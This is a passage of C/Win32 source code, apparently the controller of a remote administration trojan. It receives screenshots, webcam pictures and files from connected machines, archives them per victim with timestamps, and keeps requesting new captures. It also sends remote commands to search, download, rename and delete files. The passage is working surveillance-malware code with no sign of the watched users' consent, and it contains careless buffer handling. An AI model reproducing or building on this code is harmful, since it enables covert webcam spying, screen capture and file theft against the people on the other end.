  888. DWORD       DLSize = sizeof(PACKETFRECV);
  889. char FileName [100] = "";
  890. int i = 0;
  891. int j = 0;
  892. int Select = 0;
  893. char FilePathA[256] = "";
  894. HMODULE getmodh;
  895. //LVBKIMAGE IBBkImg;
  896. LV_ITEM  item;
  897. char Name [50] = "";
  898. char Buffer [512] = "";
  899. RECT rc;
  900.     switch(message)
  901.     {
  902. ////////////////////////////////////////////////////////////////////////////////
  903.     case WM_INITDIALOG:
  904.             if(InitiliseSocket(hwnd))      
  905.              {
  906.              }
  907.              else
  908.              {
  909.         // MessageBox(NULL, "FAIL InitiliseSocket", "InitiliseSocket", MB_OK);
  910.              }
  911.                     getmodh = GetModuleHandle(NULL);
  912.                     GetModuleFileName(getmodh,me,sizeof(me));
  913.                    
  914.                    
  915.         break;
  916.                      
  917.     case FILEMSG_SOCKET:
  918.         FEvent=WSAGETSELECTEVENT(lParam);
  919.         switch(FEvent)
  920.         {
  921.         case FD_CLOSE:
  922.             WSACleanup();
  923.                 closesocket(FSock);
  924.  
  925.             break;
  926. /////////////////////////////////////////////////////////////////////////////////////////////
  927.         case FD_ACCEPT:
  928.             while(FClient[F] != NULL)
  929.             {
  930.             F++;
  931.             }
  932.             FClient[F]=accept(wParam,(LPSOCKADDR)&ServAdr,&AdrLen);
  933.             break;
  934. /////////////////////////////////////////////////////////////////////////////////////////////
  935.         case FD_READ:
  936.             ZeroMemory(&DL, sizeof(PACKETFRECV));
  937.             RecvKb+=recv(wParam,(char*)&DL,DLSize,0);
  938.             switch(DL.PacketType)
  939.             {
  940.                case PACKET_FILE_MANAGER_FILE_RECV:
  941.                    if(DOWN[DL.ID2] == NULL)
  942.                    {
  943.                     //MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
  944.                     break;
  945.                    }
  946.  
  947.                     fwrite(DL.Data, DL.ID3, 1, DOWN[DL.ID2]);
  948.                     break;
  949.                case PACKET_FILE_MANAGER_FILE_UPDATE_WIN:
  950.                     item.mask=TVIF_TEXT;
  951.                     item.iItem=DL.ID3;
  952.  
  953.                     item.iSubItem=2;
  954.                     item.pszText=DL.Data;
  955.                     ListView_SetItem(GetDlgItem(FileHwnd[DL.ID],IDC_DOWNLOADS),&item);
  956.                     break;
  957.                case PACKET_FILE_MANAGER_FILE_C:
  958.                       if(DOWN[DL.ID2] == NULL)
  959.                    {
  960.                     MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
  961.                     break;
  962.                    }
  963.                     fclose(DOWN[DL.ID2]);
  964.                     item.mask=TVIF_TEXT;
  965.                     item.iItem=DL.ID3;
  966.                     item.iSubItem=2;
  967.                     item.pszText="Completed";
  968.                     ListView_SetItem(GetDlgItem(FileHwnd[DL.ID],IDC_DOWNLOADS),&item);
  969.                     break;
  970.  
  971.               case SCREEN_SHOT_OPEN:
  972.                   if(DL.ID4 == 1)
  973.                   {
  974.                    SendMessage(GetDlgItem(WebCam[Recv.ID],IDC_PROGRESS1), PBM_SETRANGE32 , 0, DL.ID2);
  975.                    sprintf(Name, "Cam%d.jpeg", DL.ID);
  976.                    WebCamPic[DL.ID] = fopen(Name, "wb");
  977.                      if(WebCamPic[DL.ID] == NULL)
  978.                    {
  979.                     sprintf(Name, "WebCamPic[%d]", DL.ID);
  980.                     //MessageBox(NULL, Name, "Data", MB_OK);
  981.                     break;
  982.                    }
  983.                    break;
  984.                   }
  985.                   else
  986.                   {
  987.                    SendMessage(GetDlgItem(Screen[Recv.ID],IDC_PROGRESS), PBM_SETRANGE32 , 0, DL.ID2);
  988. sprintf(Name, "Screeny%d.jpeg", DL.ID);
  989.                    ShotA[DL.ID] = fopen(Name, "wb");
  990.                   }
  991.                    break;
  992.  
  993.                case SCREEN_SHOT_RECV:
  994.                   if(DL.ID4 == 1)
  995.                   {
  996.                     SendMessage(GetDlgItem(WebCam[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)DL.ID2, 0);
  997.                     if(WebCamPic[DL.ID] == NULL)
  998.                    {
  999.                     sprintf(Name, "WebCamPic[%d]", DL.ID);
  1000.                 //  MessageBox(NULL, Name, "Data", MB_OK);
  1001.                     break;
  1002.                    }
  1003.                     fwrite(DL.Data, DL.ID3, 1, WebCamPic[DL.ID]);
  1004.                     break;
  1005.                   }
  1006.                    
  1007.                   SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESS), PBM_SETPOS , (WPARAM)DL.ID2, 0);
  1008.                     if(ShotA[DL.ID] == NULL)
  1009.                    {
  1010.                     sprintf(Name, "%d", DL.ID4);
  1011.                 //  MessageBox(NULL, Name, "Data", MB_OK);
  1012.                 //  MessageBox(NULL, "cant find file Screen A", "DL.Data", MB_OK);
  1013.                     break;
  1014.                    }
  1015.                     fwrite(DL.Data, DL.ID3, 1, ShotA[DL.ID]);
  1016.                    break;
  1017.  
  1018.                case SCREEN_SHOT_CLOSE:
  1019.                    if(DL.ID2 == 1)
  1020.                    {
  1021.                      if(WebCamPic[DL.ID] == NULL)
  1022.                    {
  1023.                     sprintf(Name, "WebCamPic[%d]", DL.ID);
  1024.                 //  MessageBox(NULL, Name, "Data", MB_OK);
  1025.                     break;
  1026.                    }
  1027.                    SendMessage(GetDlgItem(WebCam[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)0, 0);
  1028.                     fclose(WebCamPic[DL.ID]);
  1029.                     WebCamPic[DL.ID] = 0;
  1030.                   //ShellExecute(NULL, "open", DL.Data, NULL, NULL, SW_SHOWNORMAL);
  1031.                     sprintf(Name, "Cam%d.jpeg", DL.ID);
  1032.                 //   ShellExecute(NULL, "open",Name, NULL, NULL, SW_HIDE);
  1033.                    WebA[DL.ID] = LoadJPEG(Name);
  1034.                    InvalidateRect (WebCam[DL.ID], NULL, FALSE);
  1035.                    
  1036.  
  1037. ///////////////////////
  1038.            if(IsDlgButtonChecked(WebCam[DL.ID],IDC_CHECK1))
  1039.                    {
  1040.          char userr[7]="Users\\";;
  1041.                      char userrr[107];
  1042.                    CreateDirectory("Users",NULL);
  1043.                    
  1044.                        strcat(userr, DL.ID5);
  1045.                      
  1046.                        CreateDirectory(userr,NULL);
  1047.                    
  1048.                         time_t rawtime;
  1049.                         struct tm * timeinfo;
  1050.                         char buffer [80];
  1051.                            
  1052.                          time ( &rawtime );
  1053.                          timeinfo = localtime ( &rawtime );
  1054.                           strftime (buffer,80,"CAM-%m-%d-%Y_%I-%M-%S%p.jpeg",timeinfo);
  1055.                             char namee [80];
  1056.                             char nameee[91]="Users\\";
  1057.                             char nameeee[191];
  1058.                             char nameeeee[291];
  1059.                             strcat(nameee,DL.ID5);
  1060.                             strcat(nameee,"\\");
  1061.                             strcat(nameeee,nameee);
  1062.                             strcpy(nameeeee,nameee);
  1063.                             strcat(nameeeee,buffer);
  1064.                            
  1065.                             sprintf(Name, "Cam%d.jpeg", DL.ID);
  1066.                            
  1067.                             if (CopyFile(Name,nameeeee, 0) != 0)
  1068.                             {
  1069.  
  1070.                             Sleep(1000);
  1071. DeleteFile(Name);
  1072.         }
  1073.         else
  1074.         {
  1075.          DeleteFile(Name);
  1076.         }
  1077.  
  1078.  
  1079.            }
  1080. /////////////////////////
  1081.  
  1082.  
  1083.                     if(WebCam[DL.ID] == NULL)
  1084.                     {
  1085.                     break;
  1086.                     }
  1087.                     GetClientRect(WebCam[DL.ID], (LPRECT) &rc);
  1088.                     Head.PacketType = WEBCAM_CAPTURE;
  1089.                     while(send(Client[DL.ID],(char*)&Head,HeadSize,0) == SOCKET_ERROR)
  1090.                     {
  1091.                     Sleep(1000);
  1092.                     }
  1093.                     break;
  1094.                    }
  1095. ///////////////////////////////////////////////////////////////////////////////////////////
  1096. //
  1097.                    if(ShotA[DL.ID] == NULL)
  1098.                    {
  1099.                     Sleep(1000);
  1100.                     GetClientRect(Screen[DL.ID], (LPRECT) &rc);
  1101.                     Head.PacketType = SCREEN_CAPTURE;
  1102.                     Head.ID3 = SendMessage(GetDlgItem(Screen[DL.ID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL);
  1103.                     Head.ID2 = rc.right - 25;
  1104.                     sprintf(Head.IDS, "%d", rc.bottom - 10);
  1105.                     return 0;
  1106.                    }
  1107.                     if(Screen[DL.ID] == NULL)
  1108.                     {
  1109.                     return 0;
  1110.                     }
  1111.                    SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESS), PBM_SETPOS , (WPARAM)0, 0);
  1112.                     fclose(ShotA[DL.ID]);
  1113.                     ShotA[DL.ID] = 0;
  1114.                   //ShellExecute(NULL, "open", DL.Data, NULL, NULL, SW_SHOWNORMAL);
  1115.  
  1116.  
  1117.                     sprintf(Name, "Screeny%d.jpeg", DL.ID);
  1118.                  //  ShellExecute(NULL, "open",Name, NULL, NULL, SW_HIDE);
  1119.                
  1120.                            ScreenA[DL.ID] = LoadJPEG(Name);
  1121.                    InvalidateRect (Screen[DL.ID], NULL, FALSE);
  1122.  
  1123.        
  1124.                            if(IsDlgButtonChecked(Screen[DL.ID],IDC_CHECK1))
  1125.                    {
  1126.                        
  1127.                      char userr[7]="Users\\";;
  1128.                      char userrr[107];
  1129.                    CreateDirectory("Users",NULL);
  1130.                    
  1131.                        strcat(userr, DL.ID5);
  1132.                      
  1133.                        CreateDirectory(userr,NULL);
  1134.                    
  1135.                         time_t rawtime;
  1136.                         struct tm * timeinfo;
  1137.                         char buffer [80];
  1138.                            
  1139.                          time ( &rawtime );
  1140.                          timeinfo = localtime ( &rawtime );
  1141.                           strftime (buffer,80,"%m-%d-%Y_%I-%M-%S%p.jpeg",timeinfo);
  1142.                             char namee [80];
  1143.                             char nameee[91]="Users\\";
  1144.                             char nameeee[191];
  1145.                             char nameeeee[291];
  1146.                             strcat(nameee,DL.ID5);
  1147.                             strcat(nameee,"\\");
  1148.                             strcat(nameeee,nameee);
  1149.                             strcpy(nameeeee,nameee);
  1150.                             strcat(nameeeee,buffer);
  1151.                            
  1152.                             sprintf(Name, "Screeny%d.jpeg", DL.ID);
  1153.                            
  1154.                             if (CopyFile(Name,nameeeee, 0) != 0)
  1155.                             {
  1156.  
  1157.                             Sleep(1000);
  1158. DeleteFile(Name);
  1159.         }
  1160.         else
  1161.         {
  1162.          DeleteFile(Name);
  1163.         }
  1164.                             }
  1165.                   // CreateThread(NULL, 0, Draw,(LPVOID)&MS, 0, &thread);
  1166.               if(Screen[DL.ID] == NULL)
  1167.                 {
  1168.                
  1169.                 break;
  1170.                 }
  1171.                    
  1172.                     //Sleep(1000);
  1173.                     GetClientRect(Screen[DL.ID], (LPRECT) &rc);
  1174.                     Head.PacketType = SCREEN_CAPTURE;
  1175.                     Head.ID3 = SendMessage(GetDlgItem(Screen[DL.ID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL);
  1176.                     Head.ID2 = rc.right - 25;
  1177.                     sprintf(Head.IDS, "%d", rc.bottom - 10);
  1178.    
  1179.                     Head.ID3 = SendMessage(GetDlgItem(Screen[DL.ID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL);
  1180.                     while(send(Client[DL.ID],(char*)&Head,HeadSize,0) == SOCKET_ERROR)
  1181.                     {
  1182.                     Sleep(1000);
  1183.                     }
  1184.                    break;
  1185.             }
  1186.             break;
  1187.         }
  1188.     break;
  1189.  
  1190.     case WM_COMMAND:
  1191.         Select=LOWORD(wParam);
  1192.         switch(Select)
  1193.         {  
  1194.         case IDCANCEL:
  1195.                     EndDialog(hwnd,Select);
  1196.                     break;
  1197.         }
  1198.         return TRUE;
  1199.     }
  1200.     return 0;
  1201. }
  1202. /////////////////////////////////////////////////////////////////////////////////////
  1203. LRESULT CALLBACK RenameProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  1204. {
  1205.     int  Select = 0;
  1206.     int K = 0;
  1207.     int W = 0;
  1208.     char WindowOut [10] = "";
  1209.     char WindowOutY [10] = "";
  1210.     char NewName [256] =  "";
  1211.     HWND file = 0;
  1212.    
  1213.     LV_ITEM     item;
  1214.     switch(message)
  1215.     {
  1216. ////////////////////////////////////////////////////////////////////////////////
  1217.     case WM_INITDIALOG:
  1218.         //ShowWindow(hwnd,SW_SHOW);
  1219.         if(V == 1)
  1220.         {
  1221.         SetWindowText(GetDlgItem(hwnd, IDC_NAME), Copy);
  1222.         }
  1223.         else
  1224.         {
  1225.         strcpy(Copy, FinalDir);
  1226.         strcat(Copy, FileName);
  1227.         SetWindowText(GetDlgItem(hwnd, IDC_NAME), Copy);
  1228.         }
  1229.     break;
  1230.  
  1231.     case WM_COMMAND:
  1232.         Select=LOWORD(wParam);
  1233.         switch(Select)
  1234.         {
  1235.         case IDC_SETNAME:
  1236.             GetWindowText(GetDlgItem(hwnd, IDC_NAME), Head.Data, 1020);
  1237.             GetWindowText(hwnd, WindowOut, 10);
  1238.             WindowOutY[0] = WindowOut[0];
  1239.             Head.ID = atoi(WindowOutY);
  1240.             Head.PacketType = PACKET_FILE_MANAGER_FILE_RENAME;
  1241.             strcpy(Head.Buf, Copy);
  1242.             SentKb+=send(Client[Head.ID],(char *) &Head, sizeof(Head), 0);
  1243.     if(V == 1)
  1244.     {
  1245.             while(Head.Data[K] != NULL)
  1246.             {
  1247.             K++;
  1248.             }
  1249.  
  1250.             while(Head.Data[K] != '\\')
  1251.             {
  1252.             K--;
  1253.             }
  1254.             K++;
  1255.             while(Head.Data[K] != NULL)
  1256.             {
  1257.             NewName[W] += Head.Data[K];
  1258.             W++;
  1259.             K++;
  1260.             }
  1261.             item.iItem=ListView_GetNextItem(GetDlgItem(FileHwnd[Head.ID],IDC_FILELIST),-1,LVNI_SELECTED);
  1262.             item.mask=LVIF_TEXT;
  1263.             item.iSubItem=0;
  1264.             item.pszText=NewName;
  1265.             item.cchTextMax=255;
  1266.             ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_FILELIST),&item);
  1267.     }
  1268.     else
  1269.     {
  1270.             while(Head.Data[K] != NULL)
  1271.             {
  1272.             K++;
  1273.             }
  1274.  
  1275.             while(Head.Data[K] != '\\')
  1276.             {
  1277.             K--;
  1278.             }
  1279.             K++;
  1280.             while(Head.Data[K] != NULL)
  1281.             {
  1282.             NewName[W] = Head.Data[K];
  1283.             W++;
  1284.             K++;
  1285.             }
  1286.  
  1287.             item.iItem=ListView_GetNextItem(GetDlgItem(FileHwnd[Head.ID],IDC_FOLDERS),-1,LVNI_SELECTED);
  1288.             item.mask=LVIF_TEXT;
  1289.             item.iSubItem=0;
  1290.             item.pszText=NewName;
  1291.             item.cchTextMax=255;
  1292.             ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_FOLDERS),&item);
  1293.     }
  1294.  
  1295.             EndDialog(hwnd,Select);
  1296.             break;
  1297.         case IDCANCEL:
  1298.                     EndDialog(hwnd,Select);
  1299.                     break;
  1300.         }
  1301.         return TRUE;
  1302.     }
  1303.     return 0;
  1304. }
  1305.  
  1306.  
  1307. DWORD WINAPI NameWindow(LPVOID lpParam)
  1308. {
  1309.     int LID = Head.ID;
  1310.     char WindowText [20] = "";
  1311.     POINT pt;
  1312.     GetCursorPos(&pt);
  1313.     pt.y -= 20;
  1314.     pt.x -= 20;
  1315.     ReName[LID]=CreateDialog(ReInst,(LPCTSTR)IDD_RENAME,NULL,(DLGPROC)RenameProc);
  1316.     ShowWindow(ReName[LID],SW_SHOW);
  1317.     SetWindowPos(ReName[LID], HWND_TOP, pt.x, pt.y, 0, 0, SWP_NOSIZE);
  1318.     InitCommonControls();
  1319.  
  1320.     ZeroMemory(&WindowText[0],10);
  1321.     sprintf(&WindowText[0],"%d", LID);
  1322.     strcat(WindowText, " Rename");
  1323.     SetWindowText(ReName[LID], WindowText);
  1324.  
  1325.     MSG msg;
  1326.     while(GetMessage(&msg,ReName[LID],0,0)==TRUE)
  1327.     {
  1328.         TranslateMessage(&msg);
  1329.         DispatchMessage(&msg);
  1330.     }
  1331. return 0;
  1332. }
  1333. /////////////////////////////////////////////////////////////////////////////////////////////
  1334. ///Search window
  1335. LRESULT CALLBACK SearchProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  1336. {
  1337.         char userra[7]="Users\\";
  1338.     char namree [80];
  1339.     char namreee[91]="Users\\";
  1340.     char namreeee[191];
  1341.     char namreeeee[291];
  1342.     int Select;
  1343.     char WindowOut  [10] = "";
  1344.     char WindowOutY [10] = "";
  1345.     int i = 0;
  1346.     int j = 0;
  1347.     char filename [100] = "";
  1348.     LV_COLUMN   col;
  1349.     LV_ITEM     item;
  1350.    
  1351.     HMENU hmenu;            // menu template          
  1352.     HMENU hmenuTrackPopup;  // shortcut menu  
  1353.  
  1354.     RECT rc;    // client area            
  1355.     POINT  pt;   // location of mouse click  
  1356.     switch(message)
  1357.     {
  1358. ////////////////////////////////////////////////////////////////////////////////
  1359.     case WM_INITDIALOG:
  1360.         FinalDir[strlen(FinalDir) -1] = '\0';
  1361.         SetWindowText(GetDlgItem(hwnd, IDC_DIR), FinalDir);
  1362.         SetWindowText(GetDlgItem(hwnd, IDC_FILENAME), "*.jpeg");
  1363.         col.mask=LVCF_TEXT|LVCF_WIDTH|LVIF_IMAGE;
  1364.         col.cx=600;
  1365.         col.fmt = LVCFMT_IMAGE;
  1366.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_SEARCHLIST),LVS_EX_FULLROWSELECT);
  1367.         col.pszText="File name";
  1368.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SEARCHLIST),0,&col);
  1369.         CreateWindowEx(0, STATUSCLASSNAME, NULL,WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0,hwnd, (HMENU)IDC_SEARCH_STATUS , GetModuleHandle(NULL), NULL);
  1370.         SendMessage(GetDlgItem(hwnd,IDC_SEARCH_STATUS), SB_SETTEXT, 0, (LPARAM)"Idle.");
  1371.         InitCommonControls();
  1372.         /////////////////////////////////////////////////////////////
  1373.     break;
  1374.  
  1375.         case WM_NOTIFY:
  1376.         {
  1377. switch(wParam)
  1378. {
  1379.         case IDC_SEARCHLIST:
  1380.         {
  1381.             if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  1382.             {
  1383.                 GetClientRect(hwnd, (LPRECT) &rc);
  1384.  
  1385.             // Get the client coordinates for the mouse click.  
  1386.               GetCursorPos(&pt);
  1387.               pt.y += 10;
  1388.               pt.x += 10;
  1389.             // If the mouse click took place inside the client
  1390.             // area, execute the application-defined function
  1391.             // that displays the shortcut menu.
  1392.  
  1393.        
  1394.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU5));
  1395.  
  1396.                  if (hmenu == NULL)
  1397.                  {
  1398.                   break;
  1399.                  }
  1400.  
  1401.             // Get the first shortcut menu in the menu template. This is the
  1402.             // menu that TrackPopupMenu displays.
  1403.  
  1404.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  1405.  
  1406.               // TrackPopup uses screen coordinates, so convert the
  1407.              // coordinates of the mouse click to screen coordinates.
  1408.  
  1409.              //ClientToScreen(hWnd, (LPPOINT) &pt);
  1410.  
  1411.             // Draw and track the shortcut menu.  
  1412.  
  1413.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, NULL);
  1414.             break;
  1415.             }
  1416.            
  1417.         }
  1418.         break;
  1419. }
  1420.         }
  1421.         break;
  1422.     case WM_COMMAND:
  1423.         Select=LOWORD(wParam);
  1424.         switch(Select)
  1425.         {
  1426.         case IDC_SEARCH:
  1427.             SendMessage(GetDlgItem(hwnd,IDC_SEARCH_STATUS), SB_SETTEXT, 0, (LPARAM)"Searching...");
  1428.             GetWindowText(hwnd, WindowOut, 10);
  1429.             WindowOutY[0] = WindowOut[0];
  1430.             Head.ID = atoi(WindowOutY);
  1431.            
  1432.             GetWindowText(GetDlgItem(hwnd, IDC_FILENAME), Head.Buf, 100);
  1433.             GetWindowText(GetDlgItem(hwnd, IDC_DIR), Head.Buf2, 50);
  1434.             Head.PacketType = PACKET_FILE_MANAGER_SEARCH;
  1435.             SentKb+=send(Client[Head.ID], (char *)&Head, sizeof(PACKETHEAD), 0);
  1436.             break;
  1437.  
  1438.         case IDC_DOWNLOAD:
  1439.                 GetWindowText(hwnd, WindowOut, 10);
  1440.                 WindowOutY[0] = WindowOut[0];
  1441.                 Head.ID = atoi(WindowOutY);
  1442.             ZeroMemory(&Head, HeadSize);
  1443.             item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_SEARCHLIST),-1,LVNI_SELECTED);
  1444.             item.mask=LVIF_TEXT;
  1445.             item.iSubItem=0;
  1446.             item.pszText=FinalDir;
  1447.             item.cchTextMax=255;
  1448.             ListView_GetItem(GetDlgItem(hwnd,IDC_SEARCHLIST),&item);       
  1449.             i = 0;
  1450.        
  1451.             ZeroMemory(filename, sizeof(filename));
  1452.              
  1453.                for(i=0; i < strlen(FinalDir)-1; i++)
  1454.                   if(FinalDir[i] == '\\')
  1455.                   {
  1456.                      FinalDir[i] = '/';
  1457.                   }
  1458.                      
  1459.                i = strlen(FinalDir)-1;
  1460.                
  1461.                while(FinalDir[i] != '/')
  1462.                {
  1463.                   i--;
  1464.                }
  1465.                i++;
  1466.                
  1467.                for(;i<(strlen(FinalDir));i++)
  1468.                {
  1469.                   filename[j] = FinalDir[i];
  1470.                   j++;
  1471.                }  
  1472.                strcpy(Head.Buf2, FinalDir);
  1473.                for(i=0; i<strlen(Head.Buf2); i++)
  1474.                {
  1475.                   if(Head.Buf2[i] == '\\')
  1476.                   {
  1477.                      Head.Buf2[i] = '/';
  1478.                   }
  1479.                }
  1480.                 if(D == 1024)
  1481.                 {
  1482.                 D = 0;
  1483.                 }
  1484.                 strcpy(Head.Data, Head.Buf2);
  1485.                  Head.PacketType = PACKET_FILE_MANAGER_FILE_DOWN;
  1486.                  Head.ID2 = D;
  1487.                  Head.ID3 = ListView_GetItemCount(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS));
  1488.            
  1489.  
  1490.          
  1491.            //MessageBox(NULL, filename, "filename", MB_OK);
  1492.  
  1493.     item.mask=TVIF_TEXT;
  1494.     item.iItem=Head.ID2;
  1495.  
  1496.     item.iSubItem=0;
  1497.     item.pszText=filename;
  1498.     item.iItem=ListView_InsertItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  1499.  
  1500.  
  1501.     item.iSubItem=1;
  1502.     item.pszText="Download";
  1503.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  1504.  
  1505.     item.iSubItem=2;
  1506.     item.pszText="Qued";
  1507.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  1508.            
  1509.     while(send(Client[Head.ID],(char *)&Head, HeadSize, 0) == SOCKET_ERROR)
  1510.     {
  1511.     Sleep(1000);
  1512.     }
  1513.                 D++;
  1514.             break;
  1515.         case IDC_DELETEFILE:
  1516.             {  
  1517.                 if(MessageBox(NULL, "Are you sure you want Delete this file?", "Delete", MB_YESNO | MB_ICONWARNING) == IDYES)
  1518.                 {
  1519.             GetWindowText(hwnd, WindowOut, 10);
  1520.             WindowOutY[0] = WindowOut[0];
  1521.             Head.ID = atoi(WindowOutY);
  1522.                
  1523.                 item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_SEARCHLIST),-1,LVNI_SELECTED);
  1524.                 item.mask=LVIF_TEXT;
  1525.                 item.iSubItem=0;
  1526.                 item.pszText=FinalDir;
  1527.                 item.cchTextMax=255;
  1528.                 ListView_GetItem(GetDlgItem(hwnd,IDC_SEARCHLIST),&item);
  1529.                 strcpy(Head.Data, FinalDir);
  1530.                 ListView_DeleteItem(GetDlgItem(hwnd,IDC_SEARCHLIST),ListView_GetNextItem(GetDlgItem(hwnd,IDC_SEARCHLIST),-1,LVNI_SELECTED));
  1531.                
  1532.                 Head.PacketType = PACKET_FILE_MANAGER_DELETE_FILE;
  1533.                 while(send(Client[Head.ID],(char *)&Head, HeadSize, 0) == SOCKET_ERROR)
  1534.                 {
  1535.                 Sleep(1000);
  1536.                 }
  1537.                
  1538.  
  1539.             /*  ResetProcs(hWnd, IDC_FOLDERS);
  1540.                 ResetProcs(hWnd, IDC_FILELIST);
  1541.                 strcpy(Head.Data, FinalDir);
  1542.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  1543.                 send(Client[Head.ID],(char*)&Head, HeadSize, 0);*/
  1544.                 }
  1545.                 else
  1546.                 {
  1547.                 break;
  1548.                 }
  1549.                 break;
  1550.                
  1551.             }
  1552.         case IDCANCEL:
  1553.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  1554.                     Head.ID = atoi(WindowOut);
  1555.                     SearchHwnd[Head.ID] = NULL;
  1556.                     EndDialog(hwnd,Select);
  1557.                     break;
  1558.         }
  1559.  
  1560. ////////////////////////////////////////////////////////////////////////////////
  1561.     default:
  1562.         return FALSE;
  1563.     }
  1564. return TRUE;
  1565. }
  1566.  
  1567. DWORD WINAPI SearchWindow(LPVOID lpParam)
  1568. {
  1569.     int PROCID = (int)lpParam;
  1570.     char WindowText [20] = "";
  1571.    
  1572.     SearchHwnd[PROCID]=CreateDialog(SearchInst,(LPCTSTR)IDD_SEARCH,NULL,(DLGPROC)SearchProc);
  1573.     ShowWindow(SearchHwnd[PROCID],SW_SHOW);
  1574.     InitCommonControls();
  1575.  
  1576.     ZeroMemory(&WindowText[0],10);
  1577.     sprintf(&WindowText[0],"%d", PROCID);
  1578.     strcat(WindowText, " Search File.");
  1579.     SetWindowText(SearchHwnd[PROCID], WindowText);
  1580. /*  Head.PacketType = SCREEN_CAPTURE;
  1581.     send(Client[PROCID],(char*)&Head,HeadSize,0);*/
  1582.     MSG msg;
  1583.     while(GetMessage(&msg,SearchHwnd[PROCID],0,0)==TRUE)
  1584.     {
  1585.         TranslateMessage(&msg);
  1586.         DispatchMessage(&msg);
  1587.     }
  1588.  
  1589. return 0;
  1590. }
  1591. int GetParentFileDir(HWND hwnd, HTREEITEM hitem, char * Buf, int ID)
  1592. {
  1593. char A [1024] = "";
  1594. char B [1024] = "";
  1595. char C [1024] = "";
  1596. int BA = 0;
  1597. HTREEITEM hitemA;
  1598. HTREEITEM hitemB;
  1599. //////////////////////////////////////////
  1600.                     strcpy(B, C);
  1601.                     strcpy(C, Buf);
  1602.                     strcat(C, B);
  1603.                    // MessageBox(NULL, C, "C", MB_OK);
  1604.                     if(C[1] == ':')
  1605.                         {
  1606.                         strcpy(Head.Data, C);
  1607.                         Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  1608.                         SentKb+=send(Client[ID],(char *)&Head,sizeof(PACKETHEAD),0);
  1609.                         SendMessage(GetDlgItem(hwnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)C);
  1610.                         return 0;
  1611.                         }
  1612.                
  1613.                    
  1614. //////////////////////////////////////////
  1615. hitemA = TreeView_GetParent(GetDlgItem(hwnd, IDC_TREE1), hitem);
  1616.      
  1617.                 TreeView_EnsureVisible(hwnd,hitemA);
  1618.                 SendDlgItemMessage(hwnd,IDC_TREE1,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemA);
  1619.                 flagSelected=true;
  1620.                 tvi.mask=TVIF_TEXT;
  1621.                 tvi.pszText=A;
  1622.                 tvi.cchTextMax=256;
  1623.                 tvi.hItem=hitemA;
  1624.  
  1625.                     if(SendDlgItemMessage(hwnd,IDC_TREE1,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  1626.                     {
  1627.                 //  MessageBox(NULL, A, "A", MB_OK);
  1628.                         if(A[1] == ':')
  1629.                         {
  1630.                         strcpy(B, C);
  1631.                         strcpy(C, A);
  1632.                         strcat(C, B);
  1633.                         strcat(C, "\\");
  1634.                     //  MessageBox(NULL, Head.Data, "A FINISH", MB_OK);
  1635.                         SendMessage(GetDlgItem(hwnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)C);
  1636.                         strcpy(Head.Data, C);
  1637.                         Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  1638.                         SentKb+=send(Client[ID],(char *)&Head,sizeof(PACKETHEAD),0);
  1639.             //          MessageBox(NULL, Head.Data, "A FINISH 0.5", MB_OK);
  1640.                         return 0;
  1641.                          
  1642.                         }
  1643.  
  1644.                
  1645.                     strcpy(B, C);
  1646.                     strcpy(C, A);
  1647.                     strcat(C, "\\");
  1648.                     strcat(C, B);
  1649.                     }
  1650. while(1)
  1651. {
  1652. switch(BA)
  1653.     {
  1654.     case 0:
  1655.         hitemB = TreeView_GetParent(GetDlgItem(hwnd, IDC_TREE1), hitemA);
  1656.      
  1657.                 TreeView_EnsureVisible(hwnd,hitemB);
  1658.                 SendDlgItemMessage(hwnd,IDC_TREE1,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemB);
  1659.                 flagSelected=true;
  1660.                 tvi.mask=TVIF_TEXT;
  1661.                 tvi.pszText=A;
  1662.                 tvi.cchTextMax=256;
  1663.                 tvi.hItem=hitemB;
  1664.                 if(SendDlgItemMessage(hwnd,IDC_TREE1,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  1665.                     {
  1666.                  // MessageBox(NULL, A, "A", MB_OK);
  1667.                         if(A[1] == ':')
  1668.                         {
  1669.                         strcpy(B, C);
  1670.                         strcpy(C, A);
  1671.                         strcat(C, B);
  1672.                         strcat(C, "\\");
  1673.                         SendMessage(GetDlgItem(hwnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)C);
  1674.                 //      MessageBox(NULL, Head.Data, "A FINISH 1", MB_OK);
  1675.                         strcpy(Head.Data, C);
